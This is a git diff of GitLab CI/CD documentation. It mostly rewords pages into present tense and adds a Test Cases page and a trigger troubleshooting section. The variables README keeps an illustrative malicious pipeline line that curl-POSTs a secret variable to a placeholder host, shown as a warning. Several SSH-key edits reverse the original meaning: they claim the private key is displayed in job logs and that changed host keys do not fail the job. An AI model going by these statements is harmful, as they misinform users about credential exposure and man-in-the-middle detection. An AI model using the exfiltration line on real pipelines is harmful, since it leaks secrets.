to specify a branch name that a downstream pipeline will use: +It is possible to specify a branch name that a downstream pipeline uses: ```yaml rspec: @@ -152,7 +149,7 @@ Use: [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126), variable expansion is supported. -GitLab will use a commit that is currently on the HEAD of the branch when +GitLab uses a commit that is on the head of the branch when creating a downstream pipeline. NOTE: **Note:** @@ -181,10 +178,10 @@ staging: trigger: my/deployment ``` -The `ENVIRONMENT` variable will be passed to every job defined in a downstream -pipeline. It will be available as an environment variable when GitLab Runner picks a job. +The `ENVIRONMENT` variable is passed to every job defined in a downstream +pipeline. It is available as an environment variable when GitLab Runner picks a job. -In the following configuration, the `MY_VARIABLE` variable will be passed to the downstream pipeline +In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream` job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline. @@ -210,7 +207,7 @@ downstream-job: ``` In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the -upstream pipeline will be passed to the `downstream-job` job, and will be available +upstream pipeline is passed to the `downstream-job` job, and is available within the context of all downstream builds. Upstream pipelines take precedence over downstream ones. If there are two @@ -289,9 +286,9 @@ upstream_bridge: ### Limitations -Because bridge jobs are a little different to regular jobs, it is not -possible to use exactly the same configuration syntax here, as one would -normally do when defining a regular job that will be picked by a runner. +Bridge jobs are a little different from regular jobs. It is not +possible to use exactly the same configuration syntax as when defining regular jobs +that are picked by a runner. Some features are not implemented yet. For example, support for environments. @@ -318,7 +315,7 @@ tag in a different project: 1. Click subscribe. Any pipelines that complete successfully for new tags in the subscribed project -will now trigger a pipeline on the current project's default branch. The maximum +now trigger a pipeline on the current project's default branch. The maximum number of upstream pipeline subscriptions is 2 by default, for both the upstream and downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator. diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index a0965643970..f5a39a8b7c8 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -52,8 +52,8 @@ For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8Kp ## Examples The simplest case is [triggering a child pipeline](yaml/README.md#trigger) using a -local YAML file to define the pipeline configuration. In this case, the parent pipeline will -trigger the child pipeline, and continue without waiting: +local YAML file to define the pipeline configuration. In this case, the parent pipeline +triggers the child pipeline, and continues without waiting: ```yaml microservice_a: @@ -158,6 +158,11 @@ For an overview, see [Create child pipelines using dynamically generated configu We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). +The artifact path is parsed by GitLab, not the runner, so the path must match the +syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows +runner for testing, the path separator for the trigger job would be `/`. Other CI/CD +configuration for jobs, like scripts, that use the Windows runner would use `\`. + In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). diff --git a/doc/ci/permissions/README.md b/doc/ci/permissions/README.md index bc1e6ce3e0b..897d7b6ce51 100644 --- a/doc/ci/permissions/README.md +++ b/doc/ci/permissions/README.md @@ -3,3 +3,6 @@ redirect_to: '../../user/permissions.md#gitlab-cicd-permissions' --- This document was moved to [user/permissions.md](../../user/permissions.md#gitlab-cicd-permissions). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines.md b/doc/ci/pipelines.md index edebd12f07a..090dbd3d347 100644 --- a/doc/ci/pipelines.md +++ b/doc/ci/pipelines.md @@ -3,3 +3,6 @@ redirect_to: 'pipelines/index.md' --- This document was moved to [another location](pipelines/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 77614424b33..32636f5df51 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -22,8 +22,8 @@ any of the keywords used below, check out our [CI YAML reference](../yaml/README ## Basic Pipelines -This is the simplest pipeline in GitLab. It will run everything in the build stage concurrently, -and once all of those finish, it will run everything in the test stage the same way, and so on. +This is the simplest pipeline in GitLab. It runs everything in the build stage concurrently, +and once all of those finish, it runs everything in the test stage the same way, and so on. It's not the most efficient, and if you have lots of steps it can grow quite complex, but it's easier to maintain: @@ -101,7 +101,7 @@ your jobs. When GitLab knows the relationships between your jobs, it can run eve as fast as possible, and even skips into subsequent stages when possible. In the example below, if `build_a` and `test_a` are much faster than `build_b` and -`test_b`, GitLab will start `deploy_a` even if `build_b` is still running. +`test_b`, GitLab starts `deploy_a` even if `build_b` is still running. ```mermaid graph LR @@ -163,7 +163,7 @@ deploy_b: In the examples above, it's clear we've got two types of things that could be built independently. This is an ideal case for using [Child / Parent Pipelines](../parent_child_pipelines.md)) via -the [`trigger` keyword](../yaml/README.md#trigger). It will separate out the configuration +the [`trigger` keyword](../yaml/README.md#trigger). It separates out the configuration into multiple files, keeping things very simple. You can also combine this with: - The [`rules` keyword](../yaml/README.md#rules): For example, have the child pipelines triggered only diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index 9df73957293..1bf76baada3 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -56,15 +56,15 @@ is installed on. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4. -You can pass any number of arbitrary variables and they will be available in +You can pass any number of arbitrary variables. They are available in GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).  ### Using only and except -To configure that a job can be executed only when the pipeline has been -scheduled (or the opposite), you can use +To configure a job to be executed only when the pipeline has been +scheduled (or the opposite), use [only and except](../yaml/README.md#onlyexcept-basic) configuration keywords. For example: @@ -102,7 +102,7 @@ For GitLab.com, refer to the [dedicated settings page](../../user/gitlab_com/ind ## Working with scheduled pipelines -Once configured, GitLab supports many functions for working with scheduled pipelines. +After configuration, GitLab supports many functions for working with scheduled pipelines. ### Running manually @@ -128,7 +128,7 @@ The next time a pipeline is scheduled, your credentials are used.  -If the owner of a pipeline schedule does not have the ability to create +If the owner of a pipeline schedule cannot create pipelines on the target branch, the schedule stops creating new pipelines. diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index f3e60fae13a..851336b77ab 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -53,7 +53,7 @@ must [install GitLab Runner](https://docs.gitlab.com/runner/install/) and [register](https://docs.gitlab.com/runner/register/) at least one runner. If you are testing CI/CD, you can install GitLab Runner and register runners on your local machine. -When your CI/CD jobs run, they will run on your local machine. +When your CI/CD jobs run, they run on your local machine. ### Create a `.gitlab-ci.yml` file diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index 4392fa3c78b..9f3b0f2c88d 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -271,21 +271,21 @@ How this feature works: 1. You set the _maximum job timeout_ for a runner to 24 hours 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 2 - Runner timeout not configured** 1. You remove the _maximum job timeout_ configuration from a runner 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 3 - Runner timeout smaller than project timeout** 1. You set the _maximum job timeout_ for a runner to **30 minutes** 1. You set the _CI/CD Timeout_ for a project to 2 hours 1. You start a job -1. The job, if running longer, will be timed out after **30 minutes** +1. The job, if running longer, times out after **30 minutes** ## Be careful with sensitive information @@ -360,8 +360,8 @@ value of the new token. It may be useful to know the IP address of a runner so you can troubleshoot issues with that runner. GitLab stores and displays the IP address by viewing the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the runner IP changes it will be -automatically updated in GitLab. +IP address is always kept up to date so if the runner IP changes it +automatically updates in GitLab. The IP address for shared runners and specific runners can be found in different places. diff --git a/doc/ci/services/docker-services.md b/doc/ci/services/docker-services.md index fdd38ed4c4e..e4653cdc9e2 100644 --- a/doc/ci/services/docker-services.md +++ b/doc/ci/services/docker-services.md @@ -3,3 +3,6 @@ redirect_to: 'README.md' --- This document was moved to [another location](README.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index bbab1194191..cc1ef01d10f 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -78,7 +78,7 @@ GitLab Runner with the Shell executor. mysql -u root -p ``` -1. Create a user (in this case, `runner`) that will be used by your +1. Create a user (in this case, `runner`) that is used by your application. Change `$password` in the command to a strong password. At the `mysql>` prompt, type: diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 96552ab1245..a4ecbed436b 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -7,7 +7,7 @@ type: reference # Using PostgreSQL -As many applications depend on PostgreSQL as their database, you will +As many applications depend on PostgreSQL as their database, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -70,7 +70,7 @@ The next step is to create a user, so sign in to PostgreSQL: sudo -u postgres psql -d template1 ``` -Then create a user (in our case `runner`) which will be used by your +Then create a user (in our case `runner`) which is used by your application. Change `$password` in the command below to a real strong password. NOTE: **Note:** @@ -106,7 +106,7 @@ psql -U runner -h localhost -d nice_marmot -W ``` This command explicitly directs `psql` to connect to localhost to use the md5 -authentication. If you omit this step, you'll be denied access. +authentication. If you omit this step, you are denied access. Finally, configure your application to use the database, for example: @@ -124,4 +124,4 @@ convenience that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/services/redis.md b/doc/ci/services/redis.md index 77668d9104b..2a02c8cb2aa 100644 --- a/doc/ci/services/redis.md +++ b/doc/ci/services/redis.md @@ -7,7 +7,7 @@ type: reference # Using Redis -As many applications depend on Redis as their key-value store, you will +As many applications depend on Redis as their key-value store, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -30,7 +30,7 @@ example: Host: redis ``` -And that's it. Redis will now be available to be used within your testing +And that's it. Redis is now available to be used within your testing framework. You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/redis). @@ -70,4 +70,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index a329331df08..8f00db69e51 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -36,7 +36,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) `~/.ssh/authorized_keys`) or add it as a [deploy key](../../ssh/README.md#deploy-keys) if you are accessing a private GitLab repository. -The private key will not be displayed in the job log, unless you enable +The private key is displayed in the job log, unless you enable [debug logging](../variables/README.md#debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). @@ -46,7 +46,7 @@ When your CI/CD jobs run inside Docker containers (meaning the environment is contained) and you want to deploy your code in a private server, you need a way to access it. This is where an SSH key pair comes in handy. -1. You will first need to create an SSH key pair. For more information, follow +1. You first need to create an SSH key pair. For more information, follow the instructions to [generate an SSH key](../../ssh/README.md#generating-a-new-ssh-key-pair). **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. @@ -144,9 +144,9 @@ For accessing repositories on GitLab.com, you would use `git@gitlab.com`. ## Verifying the SSH host keys It is a good practice to check the private server's own public key to make sure -you are not being targeted by a man-in-the-middle attack. In case anything -suspicious happens, you will notice it since the job would fail (the SSH -connection would fail if the public keys would not match). +you are not being targeted by a man-in-the-middle attack. If anything +suspicious happens, you notice it because the job fails (the SSH +connection fails when the public keys don't match). To find out the host keys of your server, run the `ssh-keyscan` command from a trusted network (ideally, from the private server itself): @@ -169,8 +169,8 @@ TIP: **Tip:** By using a variable instead of `ssh-keyscan` directly inside `.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` if the host domain name changes for some reason. Also, the values are predefined -by you, meaning that if the host keys suddenly change, the CI/CD job will fail, -and you'll know there's something wrong with the server or the network. +by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, +so there's something wrong with the server or the network. Now that the `SSH_KNOWN_HOSTS` variable is created, in addition to the [content of `.gitlab-ci.yml`](#ssh-keys-when-using-the-docker-executor) @@ -209,4 +209,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes is picked by a public runner and the job starts. diff --git a/doc/ci/test_cases/img/test_case_list_v13_6.png b/doc/ci/test_cases/img/test_case_list_v13_6.png Binary files differnew file mode 100644 index 00000000000..b5d89582558 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_list_v13_6.png diff --git a/doc/ci/test_cases/img/test_case_show_v13_6.png b/doc/ci/test_cases/img/test_case_show_v13_6.png Binary files differnew file mode 100644 index 00000000000..bbd7601cf30 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_show_v13_6.png diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md new file mode 100644 index 00000000000..5defbf632e2 --- /dev/null +++ b/doc/ci/test_cases/index.md @@ -0,0 +1,80 @@ +--- +stage: Plan +group: Certify +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +description: Test cases in GitLab can help your teams create testing scenarios in their existing development platform. +type: reference +--- + +# Test Cases **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233479) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.6. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. +> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/241983) on GitLab 13.6. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-test-cases). **(ULTIMATE ONLY)** + +Test cases in GitLab can help your teams create testing scenarios in their existing development platform. + +This can help the Implementation and Testing teams collaborate, because they no longer have to +use external test planning tools, which require additional overhead, context switching, and expense. + +## Create a test case + +To create a test case in a GitLab project: + +1. Navigate to **CI/CD > Test Cases**. +1. Select the **New test case** button. You are taken to the new test case form. Here you can enter + the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md). +1. Select the **Submit test case** button. You are taken to view the new test case. + +## View a test case + +You can view all test cases in the project in the Test Cases list. Filter the +issue list with a search query, including labels or the test case's title. + + + +To view a test case: + +1. In a project, navigate to **CI/CD > Test Cases**. +1. Select the title of the test case you want to view. You are taken to the test case page. + + + +## Archive a test case + +When you want to stop using a test case, you can archive it. You can [reopen an archived test case](#reopen-an-archived-test-case) later. + +To archive a test case, on the test case's page, select the **Archive test case** button. + +To view archived test cases: + +1. Navigate to **CI/CD > Test Cases**. +1. Select **Archived**. + +## Reopen an archived test case + +If you decide to start using an archived test case again, you can reopen it. + +To reopen an archived test case, on the test case's page, select the **Reopen test case** button. + +### Enable or disable Test Cases **(ULTIMATE ONLY)** + +The GitLab Test Cases feature is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:quality_test_cases, Project.find_by_full_path('<project_path>')) +``` + +To disable it: + +```ruby +Feature.disable(:quality_test_cases, Project.find_by_full_path('<project_path>')) +``` diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index 6fca482975c..10a1917d791 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: tutorial --- -# Triggering pipelines through the API +# Triggering pipelines through the API **(CORE)** Triggers can be used to force a pipeline rerun of a specific `ref` (branch or tag) with an API call. @@ -268,5 +268,13 @@ This behavior can also be achieved through GitLab's UI with Old triggers, created before GitLab 9.0 are marked as legacy. Triggers with the legacy label do not have an associated user and only have -access to the current project. They are considered deprecated and will be +access to the current project. They are considered deprecated and might be removed with one of the future versions of GitLab. + +## Troubleshooting + +### '404 not found' when triggering a pipeline + +A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused +by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger) +and use that token to authenticate when triggering a pipeline. diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index c5eee2ed960..1ef2f64313e 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -142,7 +142,7 @@ Here is a simplified example of a malicious `.gitlab-ci.yml`: ```yaml build: script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` ### Custom environment variables of type Variable @@ -442,7 +442,7 @@ You can define instance-level variables via the UI or [API](../../api/instance_l To add an instance-level variable: -1. Navigate to your admin area's **Settings > CI/CD** and expand the **Variables** section. +1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. diff --git a/doc/ci/variables/deprecated_variables.md b/doc/ci/variables/deprecated_variables.md index 71e2b5b2e44..efb89499c1c 100644 --- a/doc/ci/variables/deprecated_variables.md +++ b/doc/ci/variables/deprecated_variables.md @@ -17,7 +17,7 @@ To follow conventions of naming across GitLab, and to further move away from the release. Starting with GitLab 9.0, we have deprecated the `$CI_BUILD_*` variables. **You are -strongly advised to use the new variables as we will remove the old ones in +strongly advised to use the new variables as we might remove the old ones in future GitLab releases.** | 8.x name | 9.0+ name | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index b914f3db572..4562fc75a55 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -57,8 +57,8 @@ There are three expansion mechanisms: ### GitLab internal variable expansion mechanism The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`. -Each form is handled in the same way, no matter which OS/shell will finally handle the job, -since the expansion is done in GitLab before any runner will get the job. +Each form is handled in the same way, no matter which OS/shell handles the job, +because the expansion is done in GitLab before any runner gets the job. ### GitLab Runner internal variable expansion mechanism @@ -66,7 +66,7 @@ since the expansion is done in GitLab before any runner will get the job. variables from triggers, pipeline schedules, and manual pipelines. - Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`). -The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle +The runner uses Go's `os.Expand()` method for variable expansion. It means that it handles only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the ordering of variables definitions. @@ -77,7 +77,7 @@ This is an expansion that takes place during the `script` execution. How it works depends on the used shell (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's `script` contains a line `echo $MY_VARIABLE-${MY_VARIABLE_2}`, it should be properly handled by bash/sh (leaving empty strings or some values depending whether the variables were -defined or not), but will not work with Windows' `cmd` or PowerShell, since these shells +defined or not), but don't work with Windows' `cmd` or PowerShell, since these shells are using a different variables syntax. Supported: @@ -87,10 +87,10 @@ Supported: `.gitlab-ci.yml` variables, `config.toml` variables, and variables from triggers and pipeline schedules). - The `script` may also use all variables defined in the lines before. So, for example, if you define a variable `export MY_VARIABLE="test"`: - - In `before_script`, it will work in the following lines of `before_script` and + - In `before_script`, it works in the following lines of `before_script` and all lines of the related `script`. - - In `script`, it will work in the following lines of `script`. - - In `after_script`, it will work in following lines of `after_script`. + - In `script`, it works in the following lines of `script`. + - In `after_script`, it works in following lines of `after_script`. In the case of `after_script` scripts, they can: @@ -133,7 +133,7 @@ due to security reasons. Variables defined with an environment scope are supported. Given that there is a variable `$STAGING_SECRET` defined in a scope of `review/staging/*`, the following job that is using dynamic environments -is going to be created, based on the matching variable expression: +is created, based on the matching variable expression: ```yaml my-job: diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 1057a1389de..5063d8da6e5 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -13,31 +13,30 @@ This document lists the configuration options for your GitLab `.gitlab-ci.yml` f - For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). - To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab-ci.yml). -While you are authoring your `.gitlab-ci.yml` file, you can validate it -by using the [CI Lint](../lint.md) tool. -project namespace. For example, `https://gitlab.example.com/gitlab-org/project-123/-/ci/lint`. +When you are editing your `.gitlab-ci.yml` file, you can validate it with the +[CI Lint](../lint.md) tool. ## Job keywords A job is defined as a list of keywords that define the job's behavior. -The following table lists available keywords for jobs: +The keywords available for jobs are: | Keyword | Description | |:---------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| [`script`](#script) | Shell script that is executed by a runner. | +| [`script`](#script) | Shell script that is executed by a runner. | | [`after_script`](#after_script) | Override a set of commands that are executed after job. | -| [`allow_failure`](#allow_failure) | Allow job to fail. Failed job does not contribute to commit status. | +| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | | [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. Also available: `artifacts:paths`, `artifacts:exclude`, `artifacts:expose_as`, `artifacts:name`, `artifacts:untracked`, `artifacts:when`, `artifacts:expire_in`, and `artifacts:reports`. | | [`before_script`](#before_script) | Override a set of commands that are executed before job. | -| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | +| [`cache`](#cache) | List of files that should be cached between subsequent runs. Also available: `cache:paths`, `cache:key`, `cache:untracked`, `cache:when`, and `cache:policy`. | | [`coverage`](#coverage) | Code coverage settings for a given job. | | [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. | | [`environment`](#environment) | Name of an environment to which the job deploys. Also available: `environment:name`, `environment:url`, `environment:on_stop`, `environment:auto_stop_in`, and `environment:action`. | | [`except`](#onlyexcept-basic) | Limit when jobs are not created. Also available: [`except:refs`, `except:kubernetes`, `except:variables`, and `except:changes`](#onlyexcept-advanced). | -| [`extends`](#extends) | Configuration entries that this job inherits from. | +| [`extends`](#extends) | Configuration entries that this job inherits from. | | [`image`](#image) | Use Docker images. Also available: `image:name` and `image:entrypoint`. | -| [`include`](#include) | Allows this job to include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | +| [`include`](#include) | Include external YAML files. Also available: `include:local`, `include:file`, `include:template`, and `include:remote`. | | [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. | | [`only`](#onlyexcept-basic) | Limit when jobs are created. Also available: [`only:refs`, `only:kubernetes`, `only:variables`, and `only:changes`](#onlyexcept-advanced). | | [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. | @@ -48,7 +47,7 @@ The following table lists available keywords for jobs: | [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. May not be used alongside `only`/`except`. | | [`services`](#services) | Use Docker services images. Also available: `services:name`, `services:alias`, `services:entrypoint`, and `services:command`. | | [`stage`](#stage) | Defines a job stage (default: `test`). | -| [`tags`](#tags) | List of tags that are used to select a runner. | +| [`tags`](#tags) | List of tags that are used to select a runner. | | [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. | | [`trigger`](#trigger) | Defines a downstream pipeline trigger. | | [`variables`](#variables) | Define job variables on a job level. | @@ -69,20 +68,20 @@ can't be used as job names**: - `cache` - `include` -## Global keywords - -Some keywords must be defined at a global level, affecting all jobs in the pipeline. +### Reserved keywords -### Using reserved keywords - -If you get validation error when using specific values (for example, `true` or `false`), try to: +If you get a validation error when using specific values (for example, `true` or `false`), try to: - Quote them. - Change them to a different form. For example, `/bin/true`. +## Global keywords + +Some keywords are defined at a global level and affect all jobs in the pipeline. + ### Global defaults -Some keywords can be set globally as the default for all jobs using the +Some keywords can be set globally as the default for all jobs with the `default:` keyword. Default keywords can then be overridden by job-specific configuration. @@ -121,7 +120,7 @@ rspec 2.6: You can disable inheritance of globally defined defaults and variables with the `inherit:` keyword. -To enable or disable the inheritance of all `variables:` or `default:` keywords, use the following format: +To enable or disable the inheritance of all `default:` or `variables:` keywords, use: - `default: true` or `default: false` - `variables: true` or `variables: false` @@ -201,14 +200,13 @@ karma: `stages` is used to define stages that contain jobs and is defined globally for the pipeline. -The specification of `stages` allows for having flexible multi stage pipelines. -The ordering of elements in `stages` defines the ordering of jobs' execution: +The order of the `stages` items defines the execution order for jobs: -1. Jobs of the same stage are run in parallel. -1. Jobs of the next stage are run after the jobs from the previous stage +1. Jobs in the same stage are run in parallel. +1. Jobs in the next stage are run after the jobs from the previous stage complete successfully. -Let's consider the following example, which defines 3 stages: +For example: ```yaml stages: @@ -227,7 +225,7 @@ stages: There are also two edge cases worth mentioning: 1. If no `stages` are defined in `.gitlab-ci.yml`, then the `build`, - `test` and `deploy` are allowed to be used as job's stage by default. + `test` and `deploy` can be used as job's stage by default. 1. If a job does not specify a `stage`, the job is assigned the `test` stage. ### `workflow:rules` @@ -235,7 +233,7 @@ There are also two edge cases worth mentioning: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5 The top-level `workflow:` keyword determines whether or not a pipeline is created. -It accepts a single `rules:` keyword that is similar to [`rules:` defined within jobs](#rules). +It accepts a single `rules:` keyword that is similar to [`rules:` defined in jobs](#rules). Use it to define what can trigger a new pipeline. You can use the [`workflow:rules` templates](#workflowrules-templates) to import @@ -291,12 +289,11 @@ workflow: ``` This example prevents pipelines for schedules or `push` (branches and tags) pipelines. -The final `when: always` rule lets all other pipeline types run, **including** merge +The final `when: always` rule runs all other pipeline types, **including** merge request pipelines. -Be careful not to have rules that match both branch pipelines -and merge request pipelines. Similar to `rules` defined in jobs, this can cause -[duplicate pipelines](#prevent-duplicate-pipelines). +If your rules match both branch pipelines and merge request pipelines, +[duplicate pipelines](#prevent-duplicate-pipelines) can occur. #### `workflow:rules` templates @@ -308,7 +305,7 @@ for common scenarios. These templates help prevent duplicate pipelines. The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml) makes your pipelines run for branches and tags. -Branch pipeline status is displayed within merge requests that use the branch +Branch pipeline status is displayed in merge requests that use the branch as a source. However, this pipeline type does not support any features offered by [Merge Request Pipelines](../merge_request_pipelines/), like [Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results) @@ -341,17 +338,18 @@ include: > - Available for Starter, Premium, and Ultimate in GitLab 10.6 and later. > - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Core in 11.4. -Using the `include` keyword allows the inclusion of external YAML files. This helps -to break down the CI/CD configuration into multiple files and increases readability for long configuration files. -It's also possible to have template files stored in a central repository and projects include their -configuration files. This helps avoid duplicated configuration, for example, global default variables for all projects. +Use the `include` keyword to include external YAML files in your CI/CD configuration. +You can break down one long `gitlab-ci.yml` into multiple files to increase readability, +or reduce duplication of the same configuration in multiple places. + +You can also store template files in a central repository and `include` them in projects. `include` requires the external YAML file to have the extensions `.yml` or `.yaml`, otherwise the external file is not included. -Using [YAML anchors](#anchors) across different YAML files sourced by `include` is not -supported. You must only refer to anchors in the same file. Instead -of using YAML anchors, you can use the [`extends` keyword](#extends). +You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`. +You can only refer to anchors in the same file. Instead of YAML anchors, you can +use the [`extends` keyword](#extends). `include` supports the following inclusion methods: @@ -381,13 +379,13 @@ definitions. Local definitions in `.gitlab-ci.yml` override included definitions #### `include:local` `include:local` includes a file from the same repository as `.gitlab-ci.yml`. -It's referenced using full paths relative to the root directory (`/`). +It's referenced with full paths relative to the root directory (`/`). You can only use files that are tracked by Git on the same branch -your configuration file is on. In other words, when using a `include:local`, make +your configuration file is on. If you `include:local`, make sure that both `.gitlab-ci.yml` and the local file are on the same branch. -Including local files through Git submodules paths is not supported. +You can't include local files through Git submodules paths. All [nested includes](#nested-includes) are executed in the scope of the same project, so it's possible to use local, project, remote, or template includes. @@ -412,7 +410,7 @@ include: '.gitlab-ci-production.yml' > 